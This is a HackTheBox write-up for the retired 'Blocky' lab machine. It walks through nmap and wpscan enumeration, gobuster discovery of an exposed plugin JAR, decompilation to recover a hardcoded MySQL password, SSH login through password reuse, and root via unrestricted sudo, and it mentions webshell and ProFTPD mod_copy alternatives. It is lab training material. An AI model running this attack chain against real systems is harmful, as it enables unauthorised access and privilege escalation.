~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / blocky.md

blocky

Linux · Easy · released 2017-07-21 · retired 2017-12-09

Summary

Blocky is a Minecraft-themed Linux Easy built around a single recurring real-world pattern: hardcoded credentials in a compiled artifact, reused as the system account password. The box hosts a WordPress site alongside a live Minecraft server; the WordPress /plugins path has directory listing enabled and exposes a custom BlockyCore.jar plugin whose Java class contains a MySQL password in plaintext. The same password is reused for the SSH account notch (the Minecraft creator’s username — the intended giveaway). notch has unrestricted sudo, so a single sudo su - with the known password completes the chain.

The teaching beats are layered: (1) gobuster with a medium wordlist uncovers directory listings — a small wordlist misses /plugins; (2) JAR files are ZIP archives whose class files can be decompiled without a GUI to recover hardcoded strings; (3) the critical gotcha is that the JAR reveals the password but not the username — the username comes from WordPress author attribution, not the plugin code; (4) password reuse from a service credential to a system account is the actual root cause.

Source attribution

Recon

nmap -p- --min-rate=5000 -oN nmap/allports.txt <TARGET>
nmap -sC -sV -p 21,22,80,25565 -oN nmap/scripts.txt <TARGET>

21/tcp    open  ftp      ProFTPD 1.3.5a
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp    open  http     Apache httpd 2.4.18 (WordPress 4.8)
25565/tcp open  minecraft Minecraft 1.11.2 (0/20 users)

The Minecraft server on 25565 confirms the box theme and pins the Java plugin ecosystem. ProFTPD 1.3.5a has a known mod_copy RCE (CVE-2015-3306) but it is not the intended path. WordPress 4.8 on Ubuntu 16.04 is the attack surface.

Web enumeration

The WordPress homepage shows a single post by user notch — visible in the post author byline without any scanning. WPScan confirms it:

wpscan --url http://<TARGET>/ -e ap,t,tt,u

[+] Enumerating Users
 | Found By: Author Posts - Author Pattern
 | Confirmed By: Login Error Messages
 |
 | notch, Author: notch

notch is the SSH username. This is not in the JAR; it must be found here first.

Gobuster with a medium wordlist finds the critical directory:

gobuster dir -u http://<TARGET>/ \
    -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
    -x php -t 40

/wiki         (Status: 301)
/wp-content   (Status: 301)
/plugins      (Status: 301)  ← directory listing enabled
/phpmyadmin   (Status: 301)
/wp-login.php (Status: 200)

/plugins serves a dynamic “Cute File Browser” (JavaScript-based, not Apache directory listing). Files are listed via an AJAX call to /plugins/scan.php and served from /plugins/files/:

curl http://blocky.htb/plugins/scan.php
# → {"name":"files","type":"folder","path":"files","items":[
#     {"name":"BlockyCore.jar","path":"files/BlockyCore.jar","size":883},
#     {"name":"griefprevention-1.11.2-3.1.1.298.jar",...}]}

The actual download URLs are:

http://blocky.htb/plugins/files/BlockyCore.jar
http://blocky.htb/plugins/files/griefprevention-1.11.2-3.1.1.298.jar

griefprevention is a legitimate public Minecraft Forge plugin. BlockyCore.jar is a custom plugin written for this server — the one to examine.

Credential recovery — BlockyCore.jar decompilation

JAR files are ZIP archives. The class files inside are Java bytecode that can be decompiled back to near-source-level Java.

# Files are under /plugins/files/ (served by Cute File Browser via scan.php)
wget http://blocky.htb/plugins/files/BlockyCore.jar

With jd-gui (GUI decompiler):

jd-gui BlockyCore.jar

Navigate to com/myfirstplugin/BlockyCore.class. The constructor shows:

public String sqlHost = "localhost";
public String sqlUser = "root";
public String sqlPass = "8YsqfCTnvxAUeduzjNSXe22";

Without a GUI (command-line only):

unzip BlockyCore.jar -d BlockyCore/
javap -c BlockyCore/com/myfirstplugin/BlockyCore.class

The bytecode ldc instructions show the three hardcoded string constants: localhost, root, and the password 8YsqfCTnvxAUeduzjNSXe22.

Foothold — password reuse

The credential in the JAR is the MySQL database password (sqlUser = root). The username for SSH is notch (from WordPress). The developer reused the same password for the system account:

ssh notch@<TARGET>
# Password: 8YsqfCTnvxAUeduzjNSXe22

notch@Blocky:~$ id
uid=1000(notch) gid=1000(notch) groups=1000(notch),4(adm),...,27(sudo),...

user.txt is at /home/notch/user.txt.

Privilege escalation — unrestricted sudo

notch@Blocky:~$ sudo -l
[sudo] password for notch: 8YsqfCTnvxAUeduzjNSXe22

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL

notch has completely unrestricted sudo with password. Since the password is known:

sudo su -

root@Blocky:~# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.

Alternative paths

phpMyAdmin (/phpmyadmin): the MySQL root credential from the JAR works at /phpmyadmin. From there, an attacker can manipulate the WordPress database to create an admin user, install a PHP webshell as a plugin (executing as www-data), or read/write user table entries to obtain notch’s WordPress password hash.

ProFTPD 1.3.5a (CVE-2015-3306 / mod_copy): the SITE CPFR/SITE CPTO commands in the mod_copy module allow unauthenticated file copying. An attacker can copy a PHP webshell from a world-readable location into the web root without credentials. However, notch’s password also works directly for FTP login, making the unauth RCE unnecessary here.

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗